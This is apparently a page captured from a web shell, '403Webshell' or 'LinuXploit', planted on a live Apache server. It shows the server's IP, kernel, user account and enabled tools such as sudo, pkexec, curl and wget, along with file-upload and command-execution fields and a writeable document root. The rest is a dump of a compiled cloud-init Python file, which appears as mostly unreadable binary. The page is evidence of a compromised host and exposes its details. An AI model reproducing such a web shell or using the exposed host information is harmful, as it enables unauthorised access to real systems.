403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/cmd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/cmd/__pycache__/clean.cpython-36.pyc
3

��b�
�@s�dZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZmZm
Z
mZmZddd�Zdd	d
�Zdd�Zd
d�Zedkr�e�dS)zEDefine 'clean' utility and handler as part of cloud-init commandline.�N)�Init)�ProcessExecutionError�subp)�del_dir�del_file�error�get_config_logfiles�is_linkcCsV|stjddd�}|jdddddd	d
�|jddddd
d�|jddddddd
�|S)a#Build or extend an arg parser for clean utility.

    @param parser: Optional existing ArgumentParser instance representing the
        clean subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    �cleanzARemove logs and artifacts so cloud-init re-runs on a clean system)�prog�descriptionz-lz--logs�
store_trueF�remove_logszRemove cloud-init logs.)�action�default�dest�helpz-rz--rebootz;Reboot system after logs are cleaned so cloud-init re-runs.)rrrz-sz--seed�remove_seedz5Remove cloud-init seed directory /var/lib/cloud/seed.)�argparse�ArgumentParser�add_argument)�parser�r�/usr/lib/python3.6/clean.py�
get_parsers2	rFcCs�tgd�}|j�|r2xt|j�D]}t|�q"Wtjj|jj	�sFdStjj
|jj	d�}x�tjd|jj	�D]v}||kr�|r�qly,tjj|�r�t|�r�t
|�nt|�Wqltk
r�}ztdj|t|���dSd}~XqlXqlWdS)a4Helper which removes artifacts dir and optionally log files.

    @param: remove_logs: Boolean. Set True to delete the cloud_dir path. False
        preserves them.
    @param: remove_seed: Boolean. Set True to also delete seed subdir in
        paths.cloud_dir.
    @returns: 0 on success, 1 otherwise.
    )Zds_depsrZseedz%s/*zCould not remove {0}: {1}�N)rZread_cfgrZcfgr�os�path�isdir�pathsZ	cloud_dir�join�globr	r�OSErrorr�format�str)rrZinitZlog_fileZ	seed_pathr�errr�remove_artifactsBs&	

r&cCsvt|j|j�}|dkrr|jrrdddg}yt|dd�Wn:tk
rp}ztdj|t|���d}WYd	d	}~XnX|S)
z3Handle calls to 'cloud-init clean' as a subcommand.rZshutdownz-rZnowF)Zcapturez-Could not reboot this system using "{0}": {1}rN)	r&rrZrebootrrrr#r$)�name�argsZ	exit_code�cmdr%rrr�handle_clean_argsbs
r*cCst�}tjtd|j���dS)z4Tool to collect and tar all cloud-init related logs.r
N)r�sys�exitr*�
parse_args)rrrr�mainssr.�__main__)N)F)�__doc__rr!rr+Zcloudinit.stagesrZcloudinit.subprrZcloudinit.utilrrrrr	rr&r*r.�__name__rrrr�<module>s	
+
 

Youez - 2016 - github.com/yon3zu
LinuXploit